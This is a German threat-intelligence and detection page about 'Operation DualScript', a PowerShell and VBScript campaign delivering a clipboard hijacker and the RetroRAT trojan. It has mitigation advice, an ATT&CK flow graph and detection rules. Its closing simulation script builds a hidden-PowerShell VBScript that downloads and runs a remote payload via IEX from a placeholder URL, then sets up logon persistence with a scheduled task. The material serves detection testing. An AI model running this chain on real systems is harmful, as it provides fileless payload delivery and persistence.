Operation DualScript: Mehrstufige PowerShell-Malware zielt auf Krypto und Finanzen ab
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Bericht skizziert die Operation DualScript, eine mehrstufige Malware-Kampagne, die auf geplante Aufgaben für Persistenz, VBScript-Launcher und PowerShell-Loader setzt, um sowohl einen Zwischenablage-Hijacker als auch den RetroRAT Remote-Zugriffstrojaner zu verteilen. Die Angreifer speichern bösartigen PowerShell-Code auf externen Servern und führen ihn vollständig im Speicher aus, um Erkennungsgelegenheiten zu reduzieren. RetroRAT zeichnet Tastenanschläge auf, überwacht aktive Fenster auf finanzbezogene Schlüsselwörter und sendet gestohlene Daten über einen benutzerdefinierten TCP C2-Kanal. Die Kampagne zielt auf Kryptowährungsaktivitäten und US-amerikanische Bankziele ab.
Untersuchung
Analysten entdeckten geplante Aufgaben, die so konfiguriert waren, dass sie VBScript-Dateien von benutzerbeschreibbaren Pfaden starteten, die dann verstecktes PowerShell mit aktiviertem Ausführungsrichtlinien-Bypass ausführten. Zwei parallele Lieferketten wurden identifiziert: Eine rief ein Wallet.txt-Skript ab, um den Inhalt der Kryptowährungszwischenablage zu hijacken, während die andere RetroRAT direkt in den Speicher lud. Statische Analysen offenbarten auch Anti-Analyse-Logik, Mutex-Erstellung, Multi-Threading-Keylogging und einen hartcodierten C2-Handshake-String.
Minderung
Verteidiger sollten auf verdächtige geplante Aufgaben achten, die VBScript oder PowerShell mit versteckten Fenstern und Bypass-Argumenten aufrufen. Die Endpunkterkennung sollte sich auf die Ausführung von PowerShell im Speicher, ungewöhnliches Überwachungsverhalten der Zwischenablage und die Erstellung unbekannter Mutexes konzentrieren. Organisationen sollten auch ausgehenden Datenverkehr zu den bösartigen Domains blockieren und strikte Ausführungskontrollen für PowerShell und VBScript anwenden.
Reaktion
Wenn diese Aktivität erkannt wird, isolieren Sie den betroffenen Host, deaktivieren Sie die bösartigen geplanten Aufgaben und entfernen Sie alle persistierenden VBScript- oder PowerShell-Artefakte. Führen Sie einen vollständigen forensischen Sweep nach der RetroRAT-Nutzlast, erfassten Tastenanschlägen und damit verbundenem C2-Verkehr durch. Setzen Sie freigegebene Kryptowährungs-Wallet-Informationen zurück und ändern Sie Bankzugangsdaten. Stellen Sie betroffene Systeme aus sauberen Backups wieder her und blockieren Sie die identifizierten Domains und IP-Adressen auf der Netzwerkebene.
"graph TB %% Klassendefinitionen classDef technique fill:#d1e8ff classDef file fill:#ffe6cc classDef malware fill:#ffcccc classDef process fill:#e2ffd6 %% Knoten u2013 Techniken tech_persistence["<b>Technik</b> – <b>T1053 Geplante Aufgabe/Job</b><br/><b>Beschreibung</b>: Erstellt eine Windows-geplante Aufgabe, die einen VBScript-Launcher im versteckten Modus für Persistenz ausführt."] class tech_persistence technique tech_execution["<b>Technik</b> – <b>T1059.001 PowerShell</b><br/><b>Beschreibung</b>: Führt PowerShell-Code über Bypass der Ausführungsrichtlinie aus und führt ihn direkt im Speicher aus."] class tech_execution technique tech_defense["<b>Technik</b> – <b>T1497.002 Virtualisierungs-Sandbox-Umgehung</b><br/><b>Beschreibung</b>: Überprüft Sandbox-Benutzernamen und VM-Artefakte; bricht ab, wenn eine solche Umgebung erkannt wird."] class tech_defense technique tech_download["<b>Technik</b> – <b>T1102 Webdienst</b><br/><b>Beschreibung</b>: Holt eine entfernte Nutzlast (Wallet.txt) über HTTPS ab und konvertiert sie in einen ScriptBlock zur In-Memory-Ausführung."] class tech_download technique tech_clipboard["<b>Technik</b> – <b>T1115 Zwischenablage-Daten</b> und <b>T1204.004 Böswilliges Kopieren und Einfügen</b><br/><b>Beschreibung</b>: Überwacht die Systemzwischenablage und ersetzt legitime Kryptowährungsadressen mit von Angreifern kontrollierten Wallets."] class tech_clipboard technique tech_keylog["<b>Technik</b> – <b>T1056.001 Keylogging</b><br/><b>Beschreibung</b>: Installiert einen niedrigen Tastatur-Hook, um Tastenanschläge während finanzieller Sitzungen zu erfassen."] class tech_keylog technique tech_screen["<b>Technik</b> – <b>T1113 Bildschirmaufnahme</b><br/><b>Beschreibung</b>: Nimmt Screenshots auf oder streamt den Desktop zur visuellen Überwachung der Aktivitäten des Opfers."] class tech_screen technique tech_c2["<b>Technik</b> – <b>T1041 Exfiltration über C2-Kanal</b><br/><b>Beschreibung</b>: Sendet erfasste Tastenanschläge, Zwischenablagedaten und Protokolle an einen hartkodierten C2-Server unter Verwendung eines TCP-Clients."] class tech_c2 technique tech_process["<b>Technik</b> – <b>T1543 Erstellen oder Ändern eines Systemprozesses</b><br/><b>Beschreibung</b>: Geplante Aufgabe erzeugt einen neuen Prozess für die PowerShell-Nutzlast und erstellt später zusätzliche Threads für parallele Funktionen."] class tech_process technique tech_rdp["<b>Technik</b> – <b>T1219.002 Remote-Desktop-Software</b><br/><b>Beschreibung</b>: Ermöglicht dem Angreifer, den Desktop des Opfers über die RetroRAT-Komponente zu betrachten oder zu steuern."] class tech_rdp technique tech_inputinj["<b>Technik</b> – <b>T1674 Eingabe-Injektion</b><br/><b>Beschreibung</b>: Injezierte durch Angreifer kontrollierte Wallet-Strings in die Zwischenablage, bevor das Opfer den Inhalt einfügt."] class tech_inputinj technique %% Knoten u2013 Artefakte file_vbscript["<b>Datei</b> – <b>Name</b>: ppamproServiceZuneWAL.vbs / PiceVid.vbs<br/><b>Zweck</b>: Startet die PowerShell-Nutzlast im versteckten Modus."] class file_vbscript file malware_retro["<b>Malware</b> – <b>Name</b>: RetroRAT<br/><b>Funktion</b>: Bietet Remote-Desktop- und Befehlsausführungsfähigkeiten."] class malware_retro malware %% Verbindungen u2013 Fluss tech_persistence –>|erstellt| file_vbscript file_vbscript –>|startet| tech_execution tech_execution –>|verwendet| tech_download tech_download –>|liefert Nutzlast an| tech_process tech_process –>|erzeugt| tech_keylog tech_process –>|erzeugt| tech_screen tech_process –>|erzeugt| tech_clipboard tech_clipboard –>|ermöglicht| tech_inputinj tech_keylog –>|exfiltriert via| tech_c2 tech_screen –>|exfiltriert via| tech_c2 tech_clipboard –>|exfiltriert via| tech_c2 tech_process –>|startet| tech_rdp tech_rdp –>|kommuniziert mit| tech_c2 tech_rdp –>|führt aus| malware_retro tech_defense –>|überprüft vor| file_vbscript "
Angriffsfluss
Erkennungen
IOCs (HashMd5) zu erkennen: Operation DualScript – Eine mehrstufige PowerShell-Malware-Kampagne, die auf Kryptowährungen und finanzielle Aktivitäten zielt
Ansicht
Ausgehende Verbindungen zu Remote-Servern zur Befehlserfassung [Windows-Netzwerkverbindung]
Ansicht
Operation DualScript – Geplante Aufgabenpersistenz mit VBScript und PowerShell [Windows Geplante Aufgabe]
Ansicht
Operation DualScript PowerShell Remoteinhalt-Download und Zwischenablage-Hijacking [Windows PowerShell]
Ansicht
Ausführung der Simulation
Voraussetzung: Der Telemetrie- & Basisflug-Pre‑Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die dazu bestimmt ist, die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungserfassung erwartet wird.
-
Angriffs-Narrativ & Befehle:
Der Angreifer platziert zunächst ein VBScript (dual.vbs) im Profilverzeichnis des Benutzers. Der Zweck des Skripts ist es, PowerShell mit den Flags zu starten-WindowStyle Hiddenand-ExecutionPolicy Bypass, dann eine entfernte Nutzlast herunterzuladen und auszuführen (simuliert mit einem einfachenWrite-Host). Um Persistenz zu erzielen, registriert der Angreifer eine geplante Aufgabe (DualScriptPersist), die das VBScript beim Anmelden ausführt. Jeder Schritt erzeugt die beiden korrelierten EventID 4104 Einträge, nach denen die Regel sucht. -
Regression-Test-Skript:
# ------------------------------------------------- # DualScript Angriffs-Simulation – PowerShell # ------------------------------------------------- # 1️⃣ Bösartiges VBScript in einem benutzerbeschreibbaren Pfad erstellen $vbsPath = "$env:USERPROFILEdual.vbs" $payloadUrl = "http://example.com/payload.ps1" # Platzhalter-URL $vbsContent = @" WScript.Sleep 500 Dim sh Set sh = CreateObject("WScript.Shell") sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`"" "@ $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII # 2️⃣ Geplante Aufgabe registrieren, die das VBScript bei jedem Benutzeranmelden ausführt $taskName = "DualScriptPersist" $taskAction = "`"$vbsPath`"" schtasks.exe /Create ` /SC ONLOGON ` /RL HIGHEST ` /TN $taskName ` /TR $taskAction ` /F # 3️⃣ Aufgabe sofort ausführen (Erkennung auslösen) schtasks.exe /Run /TN $taskName Write-Host "`n[+] DualScript-Simulation ausgeführt. Überprüfen Sie Ihre SIEM auf Warnungen." # ------------------------------------------------- -
Aufräumbefehle:
# ------------------------------------------------- # DualScript Simulations-Aufräumen # ------------------------------------------------- $taskName = "DualScriptPersist" $vbsPath = "$env:USERPROFILEdual.vbs" # Geplante Aufgabe löschen schtasks.exe /Delete /TN $taskName /F # Die VBScript-Datei entfernen Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue Write-Host "`n[+] Aufräumarbeiten abgeschlossen." # -------------------------------------------------